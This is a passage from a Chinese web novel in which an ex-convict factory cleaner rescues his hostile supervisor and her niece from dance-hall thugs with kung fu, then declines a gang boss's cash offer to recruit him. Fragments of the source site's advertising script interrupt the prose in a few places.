本来,我是想趁机偷师学艺,看看喷漆工怎么给玩具上色。 之前几个老师傅见我好奇,还会热心给我讲讲这里面的门道。 但现在,他们一个个都对我避之不及,好像我是什么瘟神。 妈的,真是憋屈! 我只能寄希望于张伟了。 希望他能把王美玲约到饭局上,大家当面讲清楚。 这事,我也想自己解决。 不到万不得已,不想去求兴叔。 一来嫂嫂不希望我跟兴叔走太近。 二来,我也不想被人看扁。 老周虽交代过兴叔照看我,可一点事就去找别人,别人肯定觉得我窝囊废。 就这样,好不容易熬到了下班,我火急火燎跑到张伟身边,递上一支烟。 我不抽烟,但身上时刻备着,因为这是社交利器。 男人跟男人之间,有时候只需一根好烟,就能迅速拉近关系。 “伟哥,事情咋样了?” 第10章 帮,不帮? 张伟拿过我递的烟,凑近鼻子嗅了嗅,然后夹在耳朵后,露出一口大白牙,笑得灿烂: “哥出马当然没问题,就今晚!” 我顿时松了一口气,嘴角也跟着上扬:“伟哥,真有你的!” 就是心里还是七上八下的。 来到港城后,我一毛钱没挣到,昨天还被罚了50块。 从家里带来的八百块,这几天买些生活用品、香烟,卧槽,钱就像流水,手里只剩三百多了。 挣钱是真踏马难,花钱却是一溜烟功夫。 今晚还得请客吃饭,如果饭店的档次不够,怕王美玲那巫婆嫌弃。 那还怎么谈事?估计吃王美玲的脸色就饱了。 订好点的饭店吧,我又肉疼。 关键是如果这事能摆平,花钱我也认了,就怕竹篮打水一场空。 出来社会没几天,我才真正意识到—— 这个社会干啥都要钱,有钱能使鬼推磨,钱才是敲门砖。 愁啊! 张伟看出了我的不安,搂着我的肩膀笑道:“放心,哥约的是宵夜。” “王美玲就算想宰你,也霍霍不了几个钱。” 听到这话,我不由又松了一口气,心想自己运气真好。 老李和伟哥跟我非亲非故,却如此关照我,实在让我太感动了。 嫂嫂这时走了过来,见我和伟哥聊得火热,那紧绷的脸终于松了。 她八成以为我交了铁哥们,要么就是听说王美玲又给我安排夜班。可我呢?一脸轻松,笑得跟没事人似的。 其实,我早瞅见嫂嫂了。 故意装得无所谓,就是不想让她跟着操心。 她帮不上忙,何必让她白白忧心呢? 至于请王美玲吃夜宵这事儿,我压根没打算提。 不能让嫂嫂知道王美玲针对我,不然她肯定胡思乱想。 我现在穷得叮当响,物质上给不了嫂嫂什么。 但至少精神上,我要成为她的依靠。 晚上八九点,我和伟哥出厂了。 厂子后面有条街,因附近多是厂房,有的已搬迁,故得名旧厂街。 夜晚,这里热闹非凡,街道两旁摆满了各种大排档。 伟哥的面子真大,竟然真请到了王美玲。 只是一看见我,王美玲就气笑了:“哟,我还以为怎么了呢,原来是个局呀。” 这女人还真人精,立马看穿约她来的不是伟哥,而是我。 她那尖酸刻薄的调调,听着真让人来气。 不过,脾气虽臭,这老巫婆确实有几分姿色。 那双大眼睛亮晶晶的,眼角微微上挑,满满妩媚。 红唇明明挂着挑衅的笑,但却莫名诱人。 她的外甥女周琴也不差,双马尾,小鹅蛋脸,胸脯鼓鼓,腰肢纤细。 关键是,虽然身高就一米六? 但比例真好,大长腿特别吸睛,玩弄辫子的模样,清纯又可爱。 真不是我见谁都眉清目秀,确实挺漂亮。 当然,和我嫂嫂还是没得比。 我现在有求于人,只能赔笑脸:“王姐,这不我跟伟哥出来见见世面嘛。” 王美玲哼了一声:“工件检查完了?小小年纪不学好,还想着钻空子?” 我强忍脾气,心里暗叫不好,老李这招不行啊。 本以为王美玲会甩脸色,转身就走。 却没想到,她竟然说:“既然请我们吃宵夜,那还站在这喝西北风呐?” 还说她晚饭都没吃呢,就等着宰我一顿。 我心情起伏不定,连忙点头:“没问题,只要王姐你开心就好。” 于是我们就找了家大排档撸串。 王美玲还真是不客气,肉串点了大几十串,素菜也没落下。 还加了几份炒菜,跟不要钱似的。 是的,当然不用她买单,这顿我掏的。 请客嘛,都决定了,硬着头皮也得给她的毛捋顺。 不然以后在厂里,日子可不好过。 周琴看着那一桌子菜,问王美玲:“小姨,这么多吃得完吗?” 王美玲瞄了我一眼,挑衅地笑着说:“怕什么,有人打肿脸充胖子,我们干嘛客气呢?” 周琴笑得含蓄,但那眼神,也是把我当二愣子了。 王美玲好像还真没吃晚饭,串儿一上来就大口大口啃。 伟哥心疼我,说要帮我省成本,所以我和他是吃了饭来的。 看见这情况,我真气笑了。 行,就看你能吃多少,吃不死你! 当然,我没忘记这顿宵夜的真正目的,就是想探探王美玲的口风。 想知道她到底为什么搞我,有没有人指使,事情有没有得商量。 可根本不给我开口的机会啊,我才刚张嘴,王美玲一句话就堵死了。 她说下班了不谈公事,谁要是说了,那就别怪她翻脸不认人。 得,我这是真被白嫖了,牙痒痒却又无可奈何。 而王美玲宰我一顿还不够,又笑着说:“小唐,夜生活才刚开始呢,你不会吃完就回厂里加班吧?” 我咬着后槽牙勉强一笑:“怎 么会呢,王姐还有什么指示?” 可能是态度够好,王美玲倒也没再言语上膈应我。 但她提议去街尾那边的歌舞厅,说吃饱了刚好找个地方消消食。 我真是受够了,真当我是傻子吗? 现在这情况,王美玲明显就是要我大出血。 伺候她高兴了,她转头继续不搭理我,那我岂不是血亏? 讲真,要不是张伟拉我到一边,小声劝我别冲动,我差点掀桌子。 不是我脾气差,真不是,是这样欺负人也太过分了吧! 张伟说反正已经请了,这时候翻脸,不就功亏一篑了? 他这话搞得我一时间骑虎难下。 骑的还是王美玲这头母老虎,确实,除非我不想干这份工作了。 要不然,翻脸对我来说也没任何好处。 张伟又说,街尾那家歌舞厅他去过,门票还行,15块钱。 还说回头补贴我一点,让我消消气。 “你们嘀咕什么呢?”王美玲一副看我们笑话的样子。 张伟拍了拍我的肩,旋即就说去歌舞厅好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 歌舞厅这种地方,我还是头一回去。 一推开门,扑面而来就是那浓浓的霓虹灯光,五颜六色,闪得我有点头晕目眩。 我心里不由得一紧,那震耳欲聋的音乐,别说,跟着节奏竟然有点想摇头晃脑。 这就是港城吗? 我一双眼睛滴溜溜转,四处打量。 舞池里的人真不少,男的穿着花衬衫,喇叭裤。 女的穿着亮片裙子,每一转身,那亮片都闪烁得跟星星似的。 烟雾缭绕,酒杯碰撞的声音混杂在音乐里。 这对于当时的我来说,简直酷毙了! 王美玲拉着周琴往里走,完全无视了我们。 我和伟哥无奈对视一眼,都有些尴尬。 “走吧,先找个地方落脚。”张伟低声说。 王美玲一进舞池,就跟着音乐扭动了起来。 周琴一开始有点拘谨,双手不知该往哪儿放,只能僵硬地站在那。 但在王美玲带动下,她也逐渐放松,跟着节奏开始轻轻摇摆。 音乐越来越嗨,节奏加快,灯光也随着音乐的节拍闪烁,整个舞池就像着了魔一样。 伟哥怼了怼我的后背,笑眯眯问:“玩玩去?” 他眼里也闪着跃跃欲试的光芒,但显然不想把我一个人丢在这儿。 我本来不打算扫兴,出来玩嘛,主打就是尽兴。 可是,心口像压了块大石头,怎么也提不起劲。 我在想,等王美玲玩够了,疯够了,不会转头又继续找我麻烦吧? 真有可能啊,这女人白长了一副好皮囊,心却那么毒。 鬼知道明天她又要想什么法子整我? 万一她到处说,嫂嫂知道我偷偷跑来这种地方,咋办? 想到这,我哪还有心情玩,已经在想退路了。 要是王美玲肯放过我,那当然是好事,从此井水不犯河水。 可如果她不肯罢休,这破车间我是待不下去了。 就在这时,一声尖叫打破了我的沉思,声音听着还有点耳熟。 只见舞池那边,王美玲抱着周琴,对着一个黄毛开骂: “你他妈是不是有病,滚开!” 那黄毛依旧嬉皮笑脸,好像王美玲越凶,他就越兴奋。 他伸手又要去撩王美玲的脸蛋。 王美玲可真泼辣,许是在车间作威作福惯了? 她一巴掌拍开了黄毛的手。 黄毛似乎有些意外,但随即笑得更欢了。 轰轰的音乐还在继续,但摇摆的人都停了下来,热闹看戏。 黄毛大笑:“这娘们真是带劲,我喜欢!” 他上前就要去搂王美玲。 王美玲吓得尖叫,旁边的周琴也跟着尖叫。 看到这,我心里有点爽。 真以为这里是车间啊?活该!让你大呼小叫! 很快,黄毛从后面箍住了王美玲。 他在她脖子上吸了一口,贱笑道:“嘛,真香!” 看到王美玲那狼狈样,我心里更是畅快。 张伟急了:“走,去帮忙!” 第11章 大B哥 我心里一紧,但脚下却没动。 你们以为我冷血无情吗?还是胆小怕事? 不,都不是,其实是因为王美玲这个老巫婆实在讨厌! 平时在厂里作威作福,出了工厂,她就是个屁。 伟哥那么积极,我也能理解。 要是成功救下王美玲的话,那可是大功一件,指不定以后升职加薪都有戏。 我也有过这种想法。 王美玲不是一直针对我吗?要是我救了她,这个僵局应该破了吧? 但我更想让她多吃点苦头。 想起她那副嚣张的嘴脸,我就气得动不了。 伟哥已经冲了上去,大声喝道:“干嘛呢,放手!” 黄毛根本没把伟哥当回事,继续对王美玲上下其手。 王美玲死死护住胸口,眼泪哗哗地流。 伟哥上去就想推开黄毛,但立刻被两个混混堵在前面,推搡着他,“想死吗!滚!” 伟哥举起拳头,想来个硬碰硬,但他那架势,怎么看都像是吓唬人。 可这好像是个信号,那俩混混直接动手了。 伟哥哪会打架啊,没两下,肚子就挨了一拳,直接跪下了。 周琴吓得脸色煞白,哆嗦着求饶,“放过我们吧,求你们了。” 黄毛得意地笑了,“行啊,那就跪下,给我弄舒服了都好说!” 他的伙伴们哄笑成一片,又有人说:“上啊,快点!” 伟哥还想爬起来反抗,但刚一站直,一拳又直直朝他脸上砸来。 砰! 这一拳的力道要是真打在伟哥脸上,他的鼻梁骨肯定得断。 好在我眼疾手快,立刻行动起来。 我稳稳接住了这一拳,对方想要抽回去,却被我死死按住。 那混混急了,更加用力。 我突然一松手,他就踉跄倒退了好几步。 伟哥惊讶,对面也一样,似乎都没料到我有这个身手。 当时我也不明白黄毛让周琴跪下是什么意思,但王美玲好像懂。 她哆嗦着对黄毛说:“求求你了,我来,你放了她。” 黄毛笑得贱兮兮,“想什么呢,今晚你们都是我的!” 说完,他发号施令。 “给我狠狠打!” 我一点不慌,打架嘛,这不就是我的老本行? 尤其是群架,一打多那种,那可是我的强项。 当年在牢里,三天两头就是干架。 但是,我就真他妈草了。 叫你非要来这个歌舞厅,没事找事,吃完宵夜乖乖回厂房不好吗? 我不是怕事,只是不想打架,主要是答应了嫂嫂,不能闹事。 万一带帽的来了,这要怎么解释? 对于进去过的我来说,多少有点忌惮。 可眼前的局势无法回避,黄毛一声令下,两个混混立马扑了上来。 没办法了,干! 我一脚向前迈出,另一脚后撤,双拳如同出膛的炮弹,猛然向前轰击。 身体前倾,将力量爆发出来。 直接把那混混击退了好几步,最后一屁股跌坐在地上,捂着胸口嗷嗷叫。 面对另一个混混打来的拳头,说时迟,那时快。 我双手掌心向下,手指微微弯曲,手臂自然下垂,保持放松。 同时微微屈膝,重心下沉,身体稍微前倾,像老虎盘踞。 当他的拳头接近,我立马双掌向上抬起,形成伏虎式。 这是蔡李佛拳最常用的防守起招,架开对方直拳的同时,还能让对方门户大开。 然后我右手快速收回,再一掌打出,重击这混混的肋侧。 一瞬间,两个混混都倒地上起不来了。 周围看戏的炸锅了,纷纷发出惊叹声。 尤其王美玲和周琴,脸上写满了惊喜与崇拜,宛如见到了救世主。 我心中冷笑,不知道为啥,看见王美玲这嘴脸就觉得搞笑。 也已经很收敛了,不然,就刚刚那两下,两混混保证肋骨断几根。 黄毛见到我这么猛,脸色瞬间变了。 他松开了王美玲,开始不停后退,左看看右瞅瞅,慌乱中抓起一个酒瓶,狠狠敲碎。 拿着尖锐那端指着我,声音里带着颤抖。 “别过来!你别过来!啊我很厉害的!” 他手里的酒瓶在颤抖,整个人像是风中摇曳的小草。 “知道我谁吗?我是老虎帮的强哥!” 王美玲这时倒也机灵,拉上周琴连忙跑到我这边来。 她们一个揪住我的衣服,一个挤着我,快要给我挤没了。 我很想说,你们别碍事啊?真是的! 但话还没出口,王美玲又抱紧我的手臂,那种压迫感非常强烈,让我感受到她的恐惧。 而我听见黄毛的话,顿时就有些头大。 之前兴叔提起过这个老虎帮,是当地臭名昭著的非法团伙。 规模很大,比如外头那些摩的佬,大部分都是他们的人。 我那个无奈啊,是真的不想跟这些帮派扯上关系。 来港城,我只想走正道。 靠自 己一双手去创造财富,再 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也不能行差踏错,让家人伤心。 可黄毛见我没有动作了,便又开始狗吠起来。 “怕了?跟你讲,敢得罪我,明天就叫你沉江里去!” 他这话,我清楚不是在唬人。 来玩具厂这几天,就听工友说过沙田这地方治安很乱。 像电影里那种帮派火拼,在这时不时都会发生。 有人沉江,还真不是什么稀奇事。 可我也知道,如果这时候示弱,只会更加助长黄毛嚣张的气焰。 我小声跟伟哥嘀咕,“先带她们走,我殿后。” 伟哥很听话,拉上王美玲就要走。 可王美玲不知道又抽什么风,就跟个牛皮糖似的,死粘着我不放。 干嘛啊这是? 我只好朝黄毛冷笑几声,继续稳住场面。 老周跟我说过,大多出来混的人,实际上自身并没有多大本事。 他们这些人的特长,就是狗仗人势。 跟着大哥,平日里就喜欢到处装比,欺负良民。 眼前这个黄毛,很显然就是这类人。 我没打算惯着他,便说:“那你来,今晚我把你废在这,看你大哥救不救得了你!” 黄毛立马又怂了,继续往后退。 我骂了句,“草,真没种,算了,今天老子心情好,不跟你计较。” 说完,我拉上王美玲就准备赶紧走。 此地真不宜久留,万一对方还有帮手什么的,事情只会越闹越大。 但就在这时,大门被推开了。 紧跟着一骨碌进来十多个人,沃日,这帮家伙手里都拿着砍刀。 那明晃晃的刀口,绝对是真家伙! 我全身汗毛竖起来了,心跳加速。 这帮人进来后,气氛瞬间变得更加紧张。 人群自动让出一条道来,好像迎接着某个不容忽视的存在。 果然,一个四五十岁的男人在几个人簇拥下,缓缓走进来。 他戴着很粗的金项链,左手盘着两颗核桃,走路带风,每一步都透着一股子江湖气。 他的眼神冷冽,扫视全场,仿佛每个人都被他看穿了一样。 那种不怒自威的气势,让人忍不住想要低头避开他的目光。 “谁闹事?”他声音低沉,有如洪钟。 黄毛立马就像看见了救星,眼睛都亮了,连忙喊道: “大b哥,是我强仔啊,这扑街口气大,说要废了我,你地头,你话事!” 被叫大b哥的中年男人随即就看向我,我心想完了。 怎么就这么倒霉啊! 第12章 江湖? 这个舞厅有没有其他门,我不清楚。 只知道大门现在被这帮家伙堵着,想出去,只能硬闯。 可他们手里都有砍刀,这可不是闹着玩的,被砍到就废了。 怎么办? 形势让我头皮发麻。 大b哥就在我十来步外,如果他下令,小弟们一拥而上,我能夺刀成功吗? 擒贼先擒王,只要逮住大b哥,这个死局就还有转机。 想到这,我心里一狠。 但表面上保持冷静,静等对方先动。 这时,人群中走出个穿西装、油亮大背头的家伙。 他凑到大b哥耳旁嘀咕,不知道说了什么。 等他说完,大b哥开始打量我,眼神多了几分玩味。 “b哥,动手啊赶紧!”黄毛又叫嚣道。 我突然有了主意,与其挟持大b哥,不如逮黄毛更稳妥。 关键是,大b哥左侧的家伙人高马大,那站姿估计是个练家子。 别看他挺放松,却是随时都能爆发的架势。 而我有自信三两下搞定黄毛,拿黄毛当人质,走出歌舞厅再说! 就在我准备动手时,大b哥发话了。 “癞仔强,你到我的地头搞事,看在阿虎面子上,我就不跟你计较了,滚吧。” 黄毛显然很意外,连忙说:“b哥…” 大b哥“嗯?”了一声,黄毛的气势立马弱了下来。 他拉起地上那俩混混,大声说: “b哥,今晚这事我一定会告诉我老大!” 大b哥笑了笑,“随便,我也很久没找阿虎喝茶了。” 黄毛瞪了我一眼,“扑街仔,给我等着!” 然后,他跑得贼快,同伴都不要了。 那俩混混互相搀扶着,也落荒而逃。 事情发展到这种地步,我真没料到,伟哥他们明显松了口气。 估计他们这辈子都没见过这种场面吧。 真有人拿着砍刀堵着你,没吓得尿裤子已经算很牛了。 我暗暗庆幸,赶忙跟大b哥道谢,这种时候,态度要多好就有多好。 “b哥,我们能走了吗?”我小心翼翼问。 他没吭声,似笑非笑看着我,不知道在打什么主意。 我当时只想赶紧回厂里,别再惹什么麻烦了。 黄毛那句“你等着”,不知道是气话还是他真惦记上了我。 总之,我不想再跟这些混混扯上关系。 正当我和王美玲他们快走到门口时,突然又有人举起砍刀,挡住了我们。 我转身看向大b哥,尽量保持冷静,问道:“b哥,还有事吗?” 大b哥摸了摸光头,笑眯眯说,“他们仨可以走,你得留下。” 当下的形势让我无可奈何,但我心里一万个不乐意。 出乎意料的是,王美玲居然没撂下我就跑,她抓紧我的衣角,眼里满是担忧。 周琴也紧挨着我,脸色惨白。 伟哥低声问,“小唐,要不咱冲出去?” 我翻了个白眼,心说你在想啥呢? 离大门虽然没几步路,但真要跑,王美玲她们岂不是会被抓? 尽管我对王美玲没啥好感,甚至有点厌恶,但这种事我干不出来。 我心里盘算着,忽然发现这也不全是坏事。 只剩下我一个的话,反而轻松多了。 我压低声音对王美玲说:“你们先走。” 王美玲急忙问:“那你怎么办?” 她的反应让我有些意外,这娘们转性了吗? 居然会担心起我来。她刚刚看我的眼神,果然没有看错,是真在担忧。 不过想想也是,好歹我救了她,她还跟我作对的话,那也太不是人了。 我摆出镇定自若,叮嘱道:“没事,这里交给我。回去后,不许跟我嫂子说。” 这才是我最关心的。 万一嫂子知道我在外头跟人打架,还被留下来了,肯定吓得不轻。 “好,我答应你,绝对不告诉林桃。”王美玲出奇地好说话。 我于是推了伟哥一把,他却还在迟疑,王美玲和周琴也是。 这种时候讲义气有个屁用! 我加重语气:“出门后立马往厂里跑,别停留,小心那个黄毛。” “还有,回去之后别喊人,我就一个要求,千万别让我嫂子知道。” 说完,我不再给他们犹豫的时间,再推了一把伟哥。 “走啊!” 伟哥那小表情也是绝了,就跟生离死别一样。 他还郑重其事来了句:“好,我答应你。” 整得就跟我刚才交代遗言似的,真给我气笑了。 其实,我并没有多慌。 我对自己的身手有自信。 再说,老周教我的可不止武艺,江湖上那些门道,我也懂点。 像现在这种情况,如果对方真要找我麻烦,根本不会放伟哥他们离开。 对方显然有事想跟我谈,放伟哥他们走,是在向我示好? “b哥,有什么指教,您说就是。” 目送王美玲他们走出大门后,我深吸 一口气,再次看向大b哥。 大b哥眯了眯眼睛,问道,“你跟谁的?” 我下意识想到了兴叔,但没敢说出口。 毕竟,我对这位大b哥的底细一无所知。 这种混混的关系复杂得很,万一大b哥和兴叔有仇,我岂不是自找麻烦? 于是我憨笑,尽量装得纯良无害。 “b哥,我就是兴隆玩具厂的清洁工。” 大b哥皱了皱眉头,“不应该啊,你这身手只是个厂仔?” 我没吭声,始终留意着周围的动静。 这时候我明白了,对方留我下来是想摸清我的底细,看看我是道上哪路的。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看我身手不错,就以为我也出来混,背后可能有大哥,才对我客气? 现在我说自己是清洁工,对方会不会没了忌惮,突然翻脸? 万一这样,我也有应对方案。 只要对方一有动作,我立马制住身旁那人,挟持他出门,然后逃跑。 大b哥似乎还不死心,继续问道,“你叫什么名字?” “b哥,叫我小王就好了。” 当然不可能说真名,我随便扯了个名字应付。 不料对方又来了句,“小王,露几手让我开开眼呗?” 这根本不是询问,大b哥说完,便朝身旁那人道:“小飞,你来跟他过几招。” 这小飞我早就盯上了,一看就知道是个练家子。 小飞应了声好就朝我大步走来,一边走一边活动筋骨。 随即,他双脚微微分开,重心后移,前脚轻点地面,随时准备移动。 双拳则护在脸两侧,肘部内收紧贴身体,形成一道坚固防线。 这明显就是泰拳架势。 老周除了教我蔡李佛拳,还跟我讲了不少其他派系的门道。 比如八卦掌、通臂拳、谭腿、通用搏击技等等。 主要是告诉我蔡李佛拳,面对其他门派时该怎么应对。 我不明白对方到底啥意思,看着又不像要找我麻烦,却又不让我走。 还要比武?草了! 小飞没废话,直接就右拳打向我的面门。 我迅速侧身避开,左手向外一拨,化解了他的攻势。 他紧跟着左腿抬起,膝盖猛然朝我腹部顶来。 我急忙后退半步,右手向下压去,左手护在胸前。 这是蔡李佛拳的“封手”,先封对方攻击路径,挡住膝击,同时左手猛然出掌。 小飞连忙后撤,脸色一变,显然没料到我会这么快反击。 他稳住身形,再次冲上来。 这次,他改变了策略,用泰拳特有的连续膝击和肘击,试图瓦解我的防线。 我冷笑一声,双臂交叉在胸前,迅速展开一个“十字手”。 十字手是蔡李佛拳中的基本招式之一。 双手交叉,形成一个十字形,既能防御,又能迅速反击。 他的拳头迎面而来,我左手往外一拨,将他的拳头引偏,右手顺势向前,打出快如闪电的震拳。 紧跟着,右手又快速化拳为掌,左手再度交叉,形成新的十字手。 连环数招,不仅将小飞的攻势一一化解,还逼得他步步后退。 然后,我抓住一个空档,右膝猛地上提。 用上了蔡李佛拳的“压马膝”,直撞他的胸口。 小飞措手不及,虽然用双手挡住了,但还是被我撞退好几步,差点跌倒。 他很是诧异,但眼里也闪过狠意,那架势分明是想整死我。 我心里一股火直冒上来,不是说好只是切磋吗?怎么还真动起杀心了? 第13章 诱惑! 围观人群开始七嘴八舌,议论纷纷,声音还不小。 “哇,这小子什么来头,居然能跟飞哥打平手!” “屁!我看他比大飞还要厉害!” “飞哥可是东南亚拳赛的冠军啊!” 他们看我的眼神多是崇拜,也有畏惧,我心里莫名地爽。 在牢子里我也曾是众人瞩目的焦点,但感觉完全不一样。 我顿时明白,小飞为什么对我起杀心了,原来是我让他丢了面子。 他一个拳赛冠军,居然没把我打到满地找牙,反而被我逼得连连后退。 最后,还被我膝击撞得险些摔地上。 对我来说,这算是一战成名;但对小飞来说,却是一败涂地。 呵呵。 我心里冷笑,这不是你自找的吗?还生气?玩不起? 面对小飞的怒视,我也瞪了回去。 来啊!不服的话咱就继续! 小飞果然不服,甩甩手,活动关节,往左边移动。 “够了!”大b哥的声音响起。 小飞又瞪了我一眼,浓浓的不甘心,但大b哥的威严显然无可撼动。 他收回拳架,站到了一旁。 我心里一阵得意,但表面上仍然保持镇定。 大b哥朝我走来,还是那副笑眯眯的样子,鼓掌道:“不错,真有两下子。” 我微微一笑,不卑不亢回应:“大b哥,您过奖了。” 其实我一心只想脱离这鬼地方,心里乱糟糟的,伟哥他们咋样了? 有没有顺利回到厂里? 王美玲会不会把这事告诉嫂子? 想到这些,我心焦如焚。 我连忙说:“那个,大b哥,要是没什么事,我就先……” 没等我说完,大b哥摆了摆手。 “别急着走,我最后问一次,你当真只是清洁工?” 我心里一阵烦躁,但脸上还是挂着笑: “大b哥,我真的只是个打扫卫生的,没骗您。” 大b哥笑得更开了,眼角皱纹都挤在了一起。 “行啊,小子,有没有兴趣跟着我?你有潜力。” 这是看中我很能打吗? 虽说我对这些江湖事并不抵触,甚至有点好奇。 以前听老周讲了太多江湖事,这种好奇,早就埋在我心底。 但我还是摇头:“谢谢大b哥,但我这人就想老老实实干活,不想其他的。” 这话一出,周围人都笑了,仿佛我就是个不懂事的傻逼。 大b哥也笑了,他朝其他人摆摆手,像是在说:看这小子,不识抬举。 我知道,这样做肯定让他面子上挂不住。 但我更清楚,一旦被这些人拉下水,再想脱身就难了。 老周常说,一入江湖深似海,别以为混江湖是件光彩的事。 跟水浒传一样,不是被逼无奈谁又愿意落草为寇? 一旦进了江湖,表面再光鲜,骨子里还是个烂仔。 说不定哪天就死在街头了。 我还答应过爸妈,出来后要低调,踏踏实实做人。 我会打架,但只为防身。 也答应嫂嫂不再干危险的事,她说过,不要丢下她一个人。 是啊,万一我又二进宫,嫂嫂怎么办? 想起嫂嫂说的到时候,我老期待了。 大b哥又问:“你在厂里一个月赚多少?” 我明白,这是在试探我。 “四百,包吃住,待遇很好。” 我故意加重了“待遇很好”四字,希望他死了那条心。 结果大b哥哈哈大笑,拍了拍后脑勺,慢悠悠说:“四百?打发乞丐呢?” 这话让我很不爽,莫名还想起了这两天王美玲整我。 靠,比乞丐还不如。 但我咬紧牙关,坚定道: “给我点时间,我肯定能当上喷漆师傅,到时候起码有个一千。” “哈哈哈!” 大b哥把夹在腋下的皮包随意拍在桌上,拉开拉链。 “看好了!” 他从里面抽出一沓钞票,眼睛里闪烁着得意的光芒。 “五千块!” 他把钞票重重拍在桌面上,声音清脆,震得我心头一颤。 随即,他掏出一根烟,旁边立马有人恭敬地给他点火。 大b哥眯着眼,深吸一口烟,吞云吐雾接着说: “这是给你的见面礼,不够我再加!” 话音刚落,他又从包里掏出一沓亮闪闪的钞票,再次啪的一声拍在桌上。 “跟我混,这些都是你的!” 他继续说,声音低沉而有力。 “想要踏实找份工作也可以,就来这舞厅吧,给我看场子。” “只要上夜班,时间很自由,平常也没什么事,我给你开一个月三千。” 我盯着桌面上的钞票,眼睛都直了。 这么多钱,简直让我有些喘不过气来。 不怕你们笑话,这辈子,我还是头一回见到这么多钱。 刚才还坚定不移的信念,此刻开始摇摆不定。 不是我没节操啊,是对方给太多了 ! 而且,这年头当混混这么有钱的吗? 果然没有对比就没有伤害,这样一比,显 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得我进厂打工真跟傻逼一样了。 可爸妈、嫂嫂的话又在我耳边回荡,我赶忙深深吸了一口气,努力定下心神。 我勉强挤出一句话:“大b哥,谢谢您的厚爱,但我……” 话还没说完,我突然意识到如果还拒绝,那就太不给他面子了。 出来混的人,最看重的就是脸面。 我连忙改口,“让我考虑一下,行吗?” 本以为大b哥会死缠烂打,今天我要是不答应跟他混,恐怕出不去这个舞厅。 但他却出奇地好说话,还拿起桌上一沓钞票,甩给我。 “拿走,就当交个朋友。” 我连忙接住,他的豪气让我三观炸裂,敢情这钱不是钱啊? 当这位大b哥的朋友,这么值钱的吗? 只是,这钱我觉得烫手,立马小心翼翼放回桌上。 “大b哥,你愿意把我当朋友,已经是我的荣幸了。” “但无功不受禄,这钱我要拿了,我会看不起自己,谢谢。” 大b哥笑了,“小子,我现在越来越中意你了,哈哈!” 他弹了弹烟灰,继续说: “行,我不勉强你,等你哪天想通了,就来这舞厅,找梁经理。” 说着,他指了指那个西装大背头。 “一句话,只要你点头,我这随时欢迎。” 梁经理也笑着说,“小王,还不谢谢b哥!” 我顺着对方的话道了声谢,这一刻,我才对大b哥放下戒心。 于是,我告诉他我叫唐浩,刚才骗了你,不好意思。 大b哥却不在意,又对我一顿夸,说我心思缜密,是干大事的料。 我没有得意忘形,心里清楚,对方这时候就是想拉拢我,自然是不断喂蜜枣。 我随便应付了几句,赶紧转身离开,但那个小飞又拦住我。 “兄弟,约个时间再练练。” 他朝我握了握拳,眼神里都是挑衅,显然还在为刚才的事耿耿于怀。 我心想这家伙有病吧,不想搭理他,随口说: “好,改天一定!” 终于走出了这个该死的舞厅,夜晚的清凉空气,让我打了个冷颤。 也让我清醒了不少,自嘲地笑了笑。 这时,旁边突然有个人飞奔而来,吓了我一跳。 但看清楚是谁后,我不禁愣住。 竟然是周琴! 她直接撞入我怀里,那冲击力不说笑,哪怕我练过,还是退了半步。 鼓鼓当当的胸脯压我身上,那份柔软让我心神一荡。 我更懵了,不是啊,这突如其来的亲密,搞什么鬼? 第14章 这算怎么个事啊! 周琴突然莫名其妙扑进我怀里,王美玲和伟哥都看傻了。 我心里暗骂:搞什么啊?竟然还敢在这不走! 只见伟哥脸色讪讪的。 我不傻,虽然那时还没有“备胎”这个词儿,但伟哥的反应,明显是嫉妒又带着几分火气。 他很尴尬,但又不好发作。 这不明摆着,伟哥对周琴有意思? 原来老李说的“有点交情”,是伟哥想追周琴! 而周琴应该看不上伟哥,却又没完全拒绝。 这种关系,不是备胎是什么? 我对周琴没啥想法,虽然她长得漂亮,笑起来甜甜的。 身材也很顶,该大的地方大,该细的地方细,腿还长。 但我心里只有嫂子。 而且这算什么事啊! 周琴这样当着伟哥的面抱住我,不是破坏我和伟哥的兄弟情吗! 我果断推开周琴,她哭得梨花带雨,可能是情绪压抑太久了。 看见我没事,她终于崩溃了。 周琴哽咽道:“小唐,你没事真是太好了,呜呜呜。” 真不懂这女人想什么,前面还看不起我,连正眼都不瞧。 感受到伟哥想刀人的目光,我不敢搭理她,皱着眉问: “干嘛,不是喊你们赶紧回去吗?” 王美玲这才反应过来,连忙说怕我被围殴,被打残。 她跟伟哥一合计,打算在附近看看情况。 一旦舞厅里打起来,伟哥立马就去找带帽的。 她说这些的时候满眼关切,语气也比平时柔了许多。 看来,这母老虎平时虽然嚣张跋扈,但关键时刻还挺有良心。 我救了她,她很感激。 以后,不至于还针对我吧? 同时,我也意识到—— 对啊,这种事完全可以找带帽的。 可能是我之前进去过,对带帽的天然抵触吧,还真没想到。 再说,大b哥敢放人走,摆明也不怕伟哥找带帽的。 带帽的和混混,天生就是猫鼠关系。 我转头看了眼歌舞厅大门,心情极为复杂。 他们不是一般的混混,老周说过,这种情况就一个—— 这伙人势力太大了,只要不太狂,触犯底线,那带帽的也会让着三分。 可越是这样,我越觉得不能跟他们扯上关系。 不然,想要脱身就再无可能。 当下我只想远离这鬼地方,敛了敛神,便对伟哥他们说:“别怕,没事了,我们走!” 路上,周琴一直贴我贴得很紧,好几次都要上手扯我衣袖。 我忍无可忍问:“你干嘛?” 她委屈巴巴说:“我…我怕……” 我也没法甩开她,只能硬着头皮走。 就是伟哥今晚也上去救人了,结果现在却孤零零走在最后面,白挨几拳。 我不敢回头看他,总感觉他的目光像刀子一样扎在我背上,心里有点发毛。 王美玲也凑到我左手旁边,她们姨甥俩真是的,就差没挂我身上了。 母老虎八卦得很,问我留下来后,在舞厅里又发生了什么。 然后又问我怎么那么能打,就像电影里的小龙哥那么厉害。 她那双眼睛滴溜溜打量着我,好像不怀好意,弄得我有些烦。 我灵机一动,结合老周给我讲的故事,现编了一个。 “他们道上有道上的规矩,问我这事是想怎么个了断法。” 王美玲连忙好奇问:“然后呢?” 